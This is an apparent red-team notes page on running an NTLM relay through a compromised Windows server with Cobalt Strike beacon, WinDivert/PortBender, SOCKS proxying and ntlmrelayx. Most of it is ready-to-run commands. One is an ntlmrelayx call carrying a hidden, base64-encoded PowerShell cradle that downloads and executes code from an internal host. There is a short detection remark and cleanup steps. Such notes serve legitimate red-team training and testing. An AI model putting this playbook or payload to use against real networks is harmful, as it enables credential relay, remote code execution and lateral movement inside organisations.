Related: SMB relay
Limitation
Windows Server 2022 requires traffic to be signed by default, preventing relay attacks.
An NTLM relay attack allows an attacker to gain access to a service by redirecting a client’s NTLM authentication request to the target service. This works when the server that the client intends to access is compromised. Yet unlike a penetration test for which Responder and ntlmrelayx will suffice, red team engagements have different parameters:
- Python scripts can’t run on Windows without installing tooling
- SMB port (445) is usually already bound in domain-joined computers, and traffic to this port can’t be redirected through regular means even by a local admin
We can still bypass these restrictions using:
- WinDivert, a driver enabling us to redirect traffic from port 445 to another port of our choosing (This is used with PortBender in CS)
- A port forward (
beacon> rportfwd
) from that chosen port to the team server - ntlmrelayx for intercepting SMB authentication traffic
- A SOCKS proxy that allows ntlmrelayx to relay the client response to the server
After the above is set up, when a client authenticates to the vulnerable server:
- Client: sends NTLM auth request to port 445 on the already-compromised server 1
- Server 1: redirects auth request from port 445 (server1:445 → server1:8445 → teamserver:445)
- Team server: relays request to server 2 (teamserver:1080 → server 1 beacon proxy → server2:445)
- Server 2: sends challenge (server 2 → server1:445 → server1:8445 → teamserver:445 → ntlmrelayx)
- … you get the idea
See forcing NTLM authentication for how to make a client to authenticate to the compromised server.
This breaks SMB!
WinDivert will disrupt normal SMB traffic, so restore SMB as soon as possible.
This attack may be recognized by a driver load event (WinDivert). See “Loaded Drivers” saved search in Kibana.
Example
In beacon (vulnerable server):
# capture SMB traffic to compromised server
beacon> powershell New-NetFirewallRule -DisplayName "8445-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8445
beacon> rportfwd 8445 localhost 445
# for downloading WinDivert to compromised server
beacon> powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080
beacon> rportfwd 8080 localhost 80
# to let ntlmrelayx relay responses
# remember to add to proxychains.conf
beacon> socks 1080
On team server:
# use encoded powershell from team server-hosted SMB payload (encoded command from RTO left for reference)
# replace $TARGET_HOST with the target server IP
sudo proxychains ntlmrelayx.py -t smb://$TARGET_HOST -smb2support --no-http-server --no-wcf-server -c 'powershell -nop -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAyADMALgAxADAAMgA6ADgAMAA4ADAALwBiACIAKQA='
In beacon (vulnerable server):
# upload WinDivert to drivers directory
beacon> cd C:\Windows\system32\drivers
beacon> upload C:\Tools\PortBender\WinDivert64.sys
# load PortBender.cna through Cobalt Strike > Script Manger
# use PortBender to initiate port redirection (requires WinDivert64.sys to be in CWD)
beacon> PortBender redirect 445 8445
# wait for SMB traffic (e.g. dir \\$VULN_SRV_IP\test)
# after authentication succeeds, link to new beacon
# (this may vary depending on which payload is used in ntlmrelayx)
# check payload for configured pipe name
beacon> link [target-host] [pipe-name-of-beacon]
# to cleanup, kill PortBender job
beacon> jobs
beacon> jobkill [job-jid]
beacon> kill [job-pid]